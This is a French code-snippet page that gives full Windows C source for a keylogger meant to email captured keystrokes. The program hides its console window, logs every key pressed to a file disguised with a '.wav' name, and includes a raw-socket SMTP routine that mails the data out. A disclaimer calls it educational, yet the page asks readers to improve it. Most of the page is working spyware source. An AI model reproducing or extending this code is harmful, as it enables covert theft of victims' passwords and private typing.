Keylogger-mail (envoie les touches frappées au clavier par mail)

Contenu du snippet

Ce code est une amélioration d'un code que j'ai trouvé sur cpp france
il logue la plus part des touches du clavier sans aucun Hook !
et envoie par mail sur server SMTP port 25

/!\
n' utilisez ce programme qu' à but instructif pour vous perfectionner en C, api et gestion des socket, ni moi ni l' hebergeur de ce code ne sera responsable des "différentes" utilisations de cette source merci !
/!\

Source / Exemple :


#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*tapper : 
"nslookup -querytype=mx gmail.com"  dans la console msdos
si vous souhaitez avoir les serveurs SMTP à jour*/
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "toi@gmail.com"
#define cemailfrom "destinataire@gmail.com"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"
int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);

int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;
char fichier[256];

int main(int argc, char *argv[])
{
    //on masque 
    HWND hwnd = GetForegroundWindow() ;
    ShowWindow(hwnd,SW_HIDE);  
    
int i, lettre, result, lastresult, lastletter, compteur;
 
 GetCurrentDirectory(256, fichier);
 strcat(fichier,"\\fichierlog.txt");
 sortie = fopen(fichier,"w+");
 result=0;
 compteur=0;    //on initialise
 lastresult=0;
 i=0;
 
 while ( i==0 ) { //boucle sans fin
 lettre=13;
 for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
   
result=GetKeyState(lettre);
  
  //Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
   if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
   if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
   if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
    {
   TraiterLettre(lettre); 
   lastresult=result;
   lastletter=lettre;
   lettre=13; 
   Sleep(50);
   }
   
 } //fin de test des lettres
    Sleep(1);
 } //fin de la boucle sans fin
  
  return 0;
}

int ismaj() {
    
    if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
    return 1;
     else return 0;
    }

int ismajpressed() {
    int result;
    
    result=GetKeyState(VK_SHIFT );
    if ( ( result==-127 ) || ( result==-128 ) ) return 1;
     else return 0;
    }
    
int isalt() {
    int result;
    
    result=GetKeyState(VK_MENU );
    if ( ( result==-127 ) || ( result==-128 ) ) return 1;
     else return 0;
    }

void TraiterLettre(int lettre) {
    
     char towrite; //la lettre que l'on va écrire dans la console
     static int compteur = 0;
     
     //traitement des chiffres ( un décalage )
     if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48; 
    
     //Les lettres sont envoyées comme majuscules, il faut faire un décalage
     else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
     
     //Sinon on écrit telle quelle la lettre
     else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
     
     else switch ( lettre ) {
         
         
        case VK_MENU:
		fprintf(sortie,"<alt>",towrite);
		break;
  
      
        case VK_BACK:
		fprintf(sortie,"<delete>",towrite);
		break;

     
          
        case VK_DELETE:
	    fprintf(sortie,"<Suppr>",towrite);
		break;
          
            case 9:
		fprintf(sortie,"<TAB>",towrite);
		break;
		
		

        case VK_CONTROL:
		fprintf(sortie,"<ctrl>",towrite);
		break;
          
         
         case 49 : if( ismaj() ) towrite='1';
          else   towrite='&'; 
          break;		
		
          case 50 : if ( ismaj() ) towrite='2'; 
          else   towrite='é';
          break;
           
          case 51 : if ( ismaj() ) towrite='3';
          else towrite='"'; 
          break;
         
          case 52 : if ( ismaj() ) towrite='4';
          else towrite= '"'; 
          break;
          
          case 53 : if ( ismaj() ) towrite='5';
          else towrite='('; 
          break;
          
          case 54 : if ( ismaj() ) towrite='6';
          else towrite='-'; 
          break;
         
          case 55 : if ( ismaj() ) towrite='7';
          else towrite='è'; 
          break;
         
               
          case 56 : if ( ismaj() ) towrite='8';
          else towrite='_'; 
          break;
           
           
         case 57 : if ( ismaj() ) towrite='9';
         else towrite='ç'; 
         break;
           
         case 48 : if ( ismaj() ) towrite='0';
           else towrite='à';
           break;
           
         case 187 : if( ismaj() ) towrite='=';
            else  towrite='+'; 
               break;
           
           case 186 : if ( ismaj() ) towrite='£';
           else towrite='$'; 
               break;
           
           case 192 : if ( ismaj() ) towrite='%';
            else  towrite='ù'; 
               break;
           
           case 188 : if ( ismaj() ) towrite='?';
            else towrite=','; 
               break;    
          
           case 190 : if ( ismaj() ) towrite='.';
            else towrite=';'; 
               break;
           
           case 191 : if ( ismaj() ) towrite='/';
            else towrite=':'; 
               break;
         
         
           case 32 : if ( isalt() ) towrite=' ';
           else towrite=' ';
                break;
          
      
         
          case 219 : if ( isalt() ) towrite=']';
           else towrite=')'; 
               break;
          
           
           case 223 : towrite='!';
               break;
           case 111 : towrite='/';
               break;
           case 106 : towrite='*';
               break;
           case 109 : towrite='-';
               break;         
           case 107 : towrite='+';
               break;
           case 110 : towrite='.';
               break;     
          }
     
    
     // On affiche les lettres dans le log
     if ( lettre==13 ) fprintf(sortie,"\n");
     else fprintf(sortie,"%c",towrite);
     compteur++;
  
     if ( compteur==2 ) {
        fclose(sortie);
        fopen(fichier,"a");
        compteur=0;
        }
     }

int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage) {
    SOCKET sockfd;
    WSADATA wsaData;
    FILE *smtpfile;
    
    #define bufsize 300 // taille du fichier pour l' envoie
    int bytes_sent;   
    int err;
    struct hostent *host;   /* gethostbyname */
    struct sockaddr_in dest_addr;   /* adresse de l'hote */
    char line[1000];
    char *Rec_Buf = (char*) malloc(bufsize+1);
    smtpfile=fopen(SMTPLog,"a+");
    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
      fputs("WSAStartup failed",smtpfile);
      WSACleanup();
      return -1;
    }
    if ( (host=gethostbyname(mailserver)) == NULL) {
       perror("gethostbyname");
       exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

     /* Prepare dest_addr */
     dest_addr.sin_family= host->h_addrtype;  
     dest_addr.sin_port= htons(25); /* PORT  */

     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        perror("socket");
        exit(1);
        }
     /* Connection !*/
     fputs("Connecting....\n",smtpfile);
 
    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
        perror("connect");
        exit(1);
        }
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"helo me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"MAIL FROM:<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"RCPT TO:<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"DATA\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     Sleep(waittime);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
     strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);
     strcat(line,"\n");
     strcat(line,emailmessage);
     strcat(line,"\r\n.\r\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"quit\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     fclose(smtpfile);                          
     #ifdef WIN32
     closesocket(sockfd);
     WSACleanup();
     #else
     close(sockfd);
     #endif
}

Conclusion :


j'ai compilé avec dev c++ libraire à ajouter : lws2_32

il y a certainement encore quelques bugs ou quelques problemes au niveau de l'envoie.

au niveau du log des touches tout me semble correct.

si vous faite des modif ou l'améliorer tenez moi au courant plz !

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.